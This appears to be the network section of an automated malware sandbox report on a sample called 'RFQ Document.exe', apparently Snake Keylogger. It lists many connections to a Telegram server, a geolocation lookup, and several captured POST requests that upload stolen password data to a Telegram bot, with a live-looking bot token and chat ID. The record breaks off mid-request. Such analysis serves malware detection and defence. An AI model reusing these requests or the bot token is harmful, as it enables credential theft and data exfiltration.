Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.4	49827	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.4	49828	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.4	49829	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.4	49830	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.4	49831	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.4	49832	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.4	49833	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.4	49834	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.4	49835	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.4	49780	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.4	49836	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.4	49837	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.4	49838	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.4	49839	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.4	49840	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.4	49841	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.4	49842	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.4	49843	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.4	49844	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.4	49845	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.4	49781	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.4	49846	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.4	49847	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.4	49848	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.4	49849	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.4	49850	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.4	49851	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.4	49852	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.4	49853	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.4	49854	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.4	49855	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.4	49782	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.4	49856	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.4	49857	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.4	49858	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.4	49859	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.4	49860	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.4	49861	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.4	49862	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.2.4	49863	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.2.4	49864	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.2.4	49865	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.4	49783	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.2.4	49866	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	192.168.2.4	49867	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
92	192.168.2.4	49868	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
93	192.168.2.4	49869	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
94	192.168.2.4	49870	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
95	192.168.2.4	49871	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
96	192.168.2.4	49872	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
97	192.168.2.4	49873	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
98	192.168.2.4	49874	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
99	192.168.2.4	49875	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49774	172.67.188.154	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	Direction	Data
2021-09-28 05:58:08 UTC	OUT	GET /xml/84.17.52.39 HTTP/1.1 Host: freegeoip.app Connection: Keep-Alive
2021-09-28 05:58:08 UTC	IN	HTTP/1.1 200 OK Date: Tue, 28 Sep 2021 05:58:08 GMT Content-Type: application/xml Content-Length: 345 Connection: close vary: Origin x-database-date: Wed, 25 Aug 2021 10:15:20 GMT x-ratelimit-limit: 15000 x-ratelimit-remaining: 14994 x-ratelimit-reset: 3175 CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ce3pmuYF%2B1OsN99Wh3feRT8VZEtjruEOuOfR783o9QV3CkTYoSWaqFLt4qn4hSFHq3WkEwOQqPf05E2yDnczYRyzqnOpyLB72qzs35zdKEFTp75NMuijfLoXF9mMZyS2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 695abcfe0a2c6931-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
2021-09-28 05:58:08 UTC	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 34 2e 31 37 2e 35 32 2e 33 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 43 48 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 53 77 69 74 7a 65 72 6c 61 6e 64 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 5a 48 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 5a 75 72 69 63 68 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 5a 75 72 69 63 68 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 38 31 35 32 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 45 75 72 6f 70 65 2f 5a 75 72 69 63 68 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 Data Ascii: <Response><IP>84.17.52.39</IP><CountryCode>CH</CountryCode><CountryName>Switzerland</CountryName><RegionCode>ZH</RegionCode><RegionName>Zurich</RegionName><City>Zurich</City><ZipCode>8152</ZipCode><TimeZone>Europe/Zurich</TimeZone><Latit

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49775	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:09 UTC	1	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255b68d7103 Host: api.telegram.org Content-Length: 407 Connection: Keep-Alive
2021-09-28 05:58:09 UTC	1	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 62 36 38 64 37 31 30 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255b68d7103Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:09 UTC	1	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:09 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:09 UTC	2	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 35 37 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 36 38 39 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12578,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808689,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.4	49784	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:22 UTC	15	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c309ad23 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:22 UTC	16	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 33 30 39 61 64 32 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c309ad23Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:22 UTC	16	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:22 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:22 UTC	16	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 35 38 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 30 32 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12589,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808702,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
100	192.168.2.4	49876	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:42 UTC	160	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255ceee4404 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:42 UTC	160	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 65 65 65 34 34 30 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255ceee4404Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:42 UTC	160	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:42 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:42 UTC	161	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 38 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 32 32 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12683,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808722,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
101	192.168.2.4	49877	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:42 UTC	161	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255cf146a4e Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:42 UTC	162	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 66 31 34 36 61 34 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255cf146a4eContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:42 UTC	162	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:42 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:42 UTC	162	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 38 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 32 32 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12684,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808722,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
102	192.168.2.4	49878	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:43 UTC	163	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255cf29df91 Host: api.telegram.org Content-Length: 407
